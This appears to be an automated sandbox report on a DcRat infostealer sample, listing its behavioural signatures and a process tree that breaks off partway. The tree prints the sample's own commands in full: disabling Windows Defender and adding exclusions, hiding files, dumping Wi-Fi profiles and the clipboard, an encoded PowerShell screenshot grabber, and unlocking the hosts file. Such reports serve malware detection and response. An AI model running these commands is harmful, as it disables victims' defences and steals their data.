Overview

overview

10

Static

static

3

48a8ee4965...e5.exe

windows7-x64

10

48a8ee4965...e5.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/06/2024, 02:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    48a8ee49651a74a74baca1f7c94729e5.exe
  • Size 11.5MB
  • Sample240621-cwvjfswcrd
  • SHA256 9ce7950dbd49b8c82b25df40fa94e88830361b8625d2f91214fa7583a346f992
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
dcratdefense_evasionevasionexecutioninfostealerpersistenceprivilege_escalationratspywarestealerthemidatrojanupx

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Modifies WinLogon for persistence 2 TTPs 4 IoCs
    persistence
  • Process spawned unexpected child process 12 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 6 IoCs
    evasiontrojan
  • DCRat payload 3 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 15 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 16 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 50 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 6 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\48a8ee49651a74a74baca1f7c94729e5.exe
    "C:\Users\Admin\AppData\Local\Temp\48a8ee49651a74a74baca1f7c94729e5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Users\Admin\AppData\Local\Temp\x12.exe
      "C:\Users\Admin\AppData\Local\Temp\x12.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4256
      • C:\Users\Admin\AppData\Local\Temp\x11.exe
        "C:\Users\Admin\AppData\Local\Temp\x11.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3760
        • C:\Users\Admin\AppData\Local\Temp\x10.exe
          "C:\Users\Admin\AppData\Local\Temp\x10.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3272
          • C:\Users\Admin\AppData\Local\Temp\x9.exe
            "C:\Users\Admin\AppData\Local\Temp\x9.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1068
            • C:\Users\Admin\AppData\Local\Temp\x8.exe
              "C:\Users\Admin\AppData\Local\Temp\x8.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:936
              • C:\Users\Admin\AppData\Local\Temp\x7.exe
                "C:\Users\Admin\AppData\Local\Temp\x7.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1920
                • C:\Users\Admin\AppData\Local\Temp\x6.exe
                  "C:\Users\Admin\AppData\Local\Temp\x6.exe"
                  8⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2212
                  • C:\Users\Admin\AppData\Local\Temp\x5.exe
                    "C:\Users\Admin\AppData\Local\Temp\x5.exe"
                    9⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1084
                    • C:\Users\Admin\AppData\Local\Temp\x4.exe
                      "C:\Users\Admin\AppData\Local\Temp\x4.exe"
                      10⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3164
                      • C:\Users\Admin\AppData\Local\Temp\CheatLauncherV2.exe
                        "C:\Users\Admin\AppData\Local\Temp\CheatLauncherV2.exe"
                        11⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4300
                        • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
                          "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
                          12⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Modifies registry class
                          • Suspicious use of WriteProcessMemory
                          PID:1264
                          • C:\Windows\SysWOW64\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
                            13⤵
                            • Checks computer location settings
                            PID:1916
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
                              14⤵
                                PID:4616
                                • C:\agentInto\fontsessionruntime.exe
                                  "C:\agentInto\fontsessionruntime.exe"
                                  15⤵
                                  • Modifies WinLogon for persistence
                                  • UAC bypass
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Checks whether UAC is enabled
                                  • Drops file in Program Files directory
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • System policy modification
                                  PID:5868
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\hWqljiZbNB.bat"
                                    16⤵
                                      PID:5516
                                      • C:\Windows\system32\w32tm.exe
                                        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                        17⤵
                                          PID:5408
                                        • C:\Program Files\Microsoft Office 15\ClientX64\System.exe
                                          "C:\Program Files\Microsoft Office 15\ClientX64\System.exe"
                                          17⤵
                                          • UAC bypass
                                          • Executes dropped EXE
                                          • Checks whether UAC is enabled
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          • System policy modification
                                          PID:5760
                              • C:\Users\Admin\AppData\Local\Temp\Built.exe
                                "C:\Users\Admin\AppData\Local\Temp\Built.exe"
                                12⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2092
                                • C:\Users\Admin\AppData\Local\Temp\Built.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
                                  13⤵
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of WriteProcessMemory
                                  PID:2656
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
                                    14⤵
                                      PID:1244
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
                                        15⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5160
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                      14⤵
                                        PID:4604
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                          15⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5924
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
                                        14⤵
                                        • Hide Artifacts: Hidden Files and Directories
                                        PID:2940
                                        • C:\Windows\system32\attrib.exe
                                          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
                                          15⤵
                                          • Views/modifies file attributes
                                          PID:4716
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‍  .scr'"
                                        14⤵
                                          PID:1068
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‍  .scr'
                                            15⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5548
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                          14⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:5900
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist /FO LIST
                                            15⤵
                                            • Enumerates processes with tasklist
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3232
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                          14⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:5984
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist /FO LIST
                                            15⤵
                                            • Enumerates processes with tasklist
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1264
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                          14⤵
                                            PID:3956
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                              15⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5696
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                            14⤵
                                              PID:2384
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-Clipboard
                                                15⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2928
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                              14⤵
                                                PID:1940
                                                • C:\Windows\system32\tasklist.exe
                                                  tasklist /FO LIST
                                                  15⤵
                                                  • Enumerates processes with tasklist
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5780
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                14⤵
                                                  PID:4360
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    15⤵
                                                      PID:6108
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                    14⤵
                                                      PID:4184
                                                      • C:\Windows\system32\netsh.exe
                                                        netsh wlan show profile
                                                        15⤵
                                                        • Event Triggered Execution: Netsh Helper DLL
                                                        PID:5592
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "systeminfo"
                                                      14⤵
                                                        PID:5916
                                                        • C:\Windows\system32\systeminfo.exe
                                                          systeminfo
                                                          15⤵
                                                          • Gathers system information
                                                          PID:2496
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                        14⤵
                                                          PID:5892
                                                          • C:\Windows\system32\reg.exe
                                                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                            15⤵
                                                              PID:3000
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                            14⤵
                                                              PID:5972
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                15⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:6040
                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k1nire1j\k1nire1j.cmdline"
                                                                  16⤵
                                                                    PID:5304
                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EE4.tmp" "c:\Users\Admin\AppData\Local\Temp\k1nire1j\CSC4FD38EEB3E774408A39043C98DDE533.TMP"
                                                                      17⤵
                                                                        PID:5012
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                  14⤵
                                                                    PID:4084
                                                                    • C:\Windows\system32\tree.com
                                                                      tree /A /F
                                                                      15⤵
                                                                        PID:2648
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                      14⤵
                                                                        PID:3568
                                                                        • C:\Windows\system32\attrib.exe
